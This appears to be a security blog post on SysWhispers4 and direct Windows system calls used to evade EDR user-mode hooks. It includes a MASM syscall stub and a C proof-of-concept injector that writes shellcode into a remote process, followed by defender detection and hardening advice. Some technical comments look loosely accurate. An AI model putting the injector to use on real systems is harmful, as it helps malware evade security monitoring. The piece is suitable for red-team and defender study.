Listen to this Post
Introduction
Endpoint Detection and Response (EDR) solutions and antivirus engines traditionally monitor API calls by placing hooks in user-mode libraries like ntdll.dll. When a process invokes a Windows API, the EDR intercepts the call to inspect the parameters and behavior. SysWhispers4 is a Python-based syscall stub generator that produces C/ASM code to invoke NT kernel functions directly—bypassing these user-mode hooks entirely. This technique, known as direct system calls, has become a cornerstone of modern red team operations, enabling stealthy process injection, credential dumping, and persistence without triggering EDR alerts at the user-mode layer.
Learning Objectives
- Understand the mechanism of user-mode API hooking and how direct syscalls circumvent it.
- Learn to use SysWhispers4 to generate custom syscall stubs and integrate them into a Windows C/C++ project.
- Explore detection strategies for defenders and predict the future evolution of this evasion technique.
You Should Know
1. Direct Syscalls: The Technical Foundation
On Windows, user-mode applications interact with the kernel through system calls. Normally, functions like `NtOpenProcess` are exported by ntdll.dll, which contains the actual `syscall` instruction (on x64) that transitions to kernel mode. EDR products place jump hooks at the beginning of these functions in `ntdll.dll` to redirect execution to their inspection routines. By invoking the syscall directly from your own code—using a small assembly stub that replicates the `ntdll` behavior—you can avoid those hooks entirely.
Step‑by‑Step: Crafting a Manual Syscall Stub (x64 Assembly)
- Identify the syscall number for the desired function (e.g.,
NtOpenProcess). Syscall numbers vary across Windows versions. - Write an assembly function that moves the syscall number into
eax, sets up the arguments in registers (rcx,rdx,r8,r9), and executes the `syscall` instruction. - After the syscall, handle the return value and possible errors.
Example of a minimal assembly stub for `NtOpenProcess` (MASM syntax):
.code NtOpenProcess PROC mov r10, rcx ; save the first parameter (usually rcx is used for syscall) mov eax, 26h ; syscall number for NtOpenProcess (example, varies) syscall ret NtOpenProcess ENDP end
This code, when called from C, will directly invoke the kernel routine, bypassing any EDR hooks in ntdll.dll.
2. Getting Started with SysWhispers4
SysWhispers4 automates the generation of such stubs for a wide range of NT functions, supporting multiple Windows versions and even adding optional anti‑signature tricks.
Installation and Basic Usage
- Prerequisites: Python 3, NASM (Netwide Assembler), and a Windows development environment (Visual Studio or MinGW).
- Clone the repository:
git clone https://github.com/0xTriboulet/SysWhispers4 cd SysWhispers4
- Generate stubs for a set of functions:
python syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
This produces three files: `syscalls.c`, `syscalls.asm`, and `syscalls.h`.
- Integrating into a Visual Studio Project:
1. Add `syscalls.c` and `syscalls.asm` to your project.
- Configure the assembler: In Visual Studio, right‑click the `.asm` file → Properties → Item Type → choose “Microsoft Macro Assembler”.
- Include `syscalls.h` in your C/C++ source and call the generated functions (e.g., `NtOpenProcess` directly).
3. Building an Evasive Process Injector
Let’s create a simple proof‑of‑concept that uses the generated stubs to inject shellcode into a remote process.
Example C Code Snippet (simplified):
include "syscalls.h"
include <windows.h>
BOOL InjectShellcode(DWORD pid, BYTE shellcode, SIZE_T codeSize) {
HANDLE hProcess, hThread;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)pid, NULL };
PVOID remoteMem;
ULONG oldProtect;
// Use direct syscall to open the process
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
if (status != 0) return FALSE;
// Allocate memory in the remote process
status = NtAllocateVirtualMemory(hProcess, &remoteMem, 0, &codeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0) return FALSE;
// Write shellcode
status = NtWriteVirtualMemory(hProcess, remoteMem, shellcode, codeSize, NULL);
if (status != 0) return FALSE;
// Change memory protection to executable
status = NtProtectVirtualMemory(hProcess, &remoteMem, &codeSize, PAGE_EXECUTE_READ, &oldProtect);
if (status != 0) return FALSE;
// Create a remote thread
status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, remoteMem, NULL, FALSE, 0, 0, 0, NULL);
if (status != 0) return FALSE;
NtClose(hThread);
NtClose(hProcess);
return TRUE;
}
When compiled and executed, this injector makes no calls to hooked user‑mode functions—every NT API is invoked via the custom syscall stubs, evading EDR hooks at the `ntdll.dll` level.
4. Evading Signature‑Based Detection
Even with direct syscalls, EDRs may detect the stub code itself through static signatures (e.g., the specific assembly instruction sequence). SysWhispers4 offers options to randomize the generated stubs, making them harder to fingerprint. For instance, using the `-m` flag to produce multiple variants or adding junk instructions via a custom template. Advanced techniques like HellsGate and HalosGate dynamically resolve syscall numbers at runtime, further complicating detection. Defenders must therefore look beyond simple stub patterns.
5. How Defenders Can Detect Direct Syscalls
While user‑mode hooks are bypassed, the kernel still sees every syscall. Modern EDRs increasingly rely on kernel‑mode callbacks, Event Tracing for Windows (ETW), and behavioral analysis.
- Kernel Callbacks: Register for process creation (
PsSetCreateProcessNotifyRoutine), thread creation, and image load. These callbacks receive notifications even when the syscall originates from a direct stub. - ETW: Enable the Microsoft‑Windows‑Kernel‑Process provider to log thread creation events (event ID 1). Use the `logman` command to start a trace:
logman start -n SysmonTrace -p Microsoft-Windows-Kernel-Process 0x10 0x4 -ets
- Sysmon: Configure Sysmon to log process access and thread creation (Event ID 8 and 1). Combine with a tool like Process Hacker to spot anomalous syscall patterns.
Example PowerShell to Monitor Syscalls via ETW:
$session = New-Object -TypeName System.Diagnostics.Eventing.Reader.EventLogSession
$query = "[System/Provider/@Name='Microsoft-Windows-Kernel-Process']"
$events = Get-WinEvent -LogName "Microsoft-Windows-Kernel-Process/Operational" -FilterXPath $query
$events | Where-Object { $_.Id -eq 1 } | Format-Table TimeCreated, Message
6. Hardening Systems Against Direct Syscall Abuse
Defenders can raise the bar by enabling features that make kernel‑mode attacks harder:
- Protected Process Light (PPL) for critical processes like LSASS prevents even kernel‑mode code from accessing them. Enable via registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 2 /f
Reboot required.
- Windows Defender Credential Guard uses virtualization‑based security to isolate secrets, making them inaccessible even with kernel privileges.
-
Enable ETW for Threat Intelligence: Use the `wevtutil` tool to increase the size of analytic logs and forward them to a SIEM.
7. The Future: Beyond Syscalls
As Selim Erünkut noted in the comments, the battleground is shifting to kernel‑level monitoring. EDRs are incorporating eBPF‑like capabilities (e.g., Microsoft’s eBPF for Windows) and machine learning models that analyze syscall sequences for anomalies. Red teams will likely respond by corrupting kernel callbacks or exploiting kernel vulnerabilities to disable monitoring altogether. The cat‑and‑mouse game continues, but for now, direct syscalls remain a potent weapon in the offensive arsenal.
What Undercode Say
- Key Takeaway 1: Direct syscalls are a highly effective technique to bypass user‑mode EDR hooks, but they are not invisible—kernel‑level telemetry can still reveal malicious activity.
- Key Takeaway 2: SysWhispers4 democratizes this capability, enabling even novice red teamers to integrate evasion into their tools, while forcing blue teams to invest in deeper monitoring and behavioral analytics.
- Analysis: The evolution from user‑mode hooking to kernel‑level detection mirrors the classic arms race in cybersecurity. As EDRs adopt more sophisticated kernel callbacks and AI‑driven anomaly detection, attackers will shift toward kernel‑mode exploitation or direct hardware‑level attacks. Organizations must adopt a defense‑in‑depth strategy that includes PPL, Credential Guard, and rigorous monitoring of kernel events. The next frontier will likely involve machine learning models trained on syscall patterns—making evasion both harder and more resource‑intensive.
Prediction
Within the next two years, direct syscall techniques will become standard in both red team tools and commodity malware, prompting Microsoft to introduce new kernel protections or modify the syscall interface. EDR vendors will pivot heavily to kernel‑mode sensors and cloud‑based behavioral analysis, while attackers explore methods to subvert kernel callbacks (e.g., hooking `ntoskrnl.exe` functions). The rise of eBPF on Windows may offer a standardized way to monitor syscalls, but it also opens new attack surfaces. Ultimately, the battle will move deeper into the kernel, raising the stakes for both sides and increasing the prevalence of kernel‑level vulnerabilities.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Joas Antonio – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
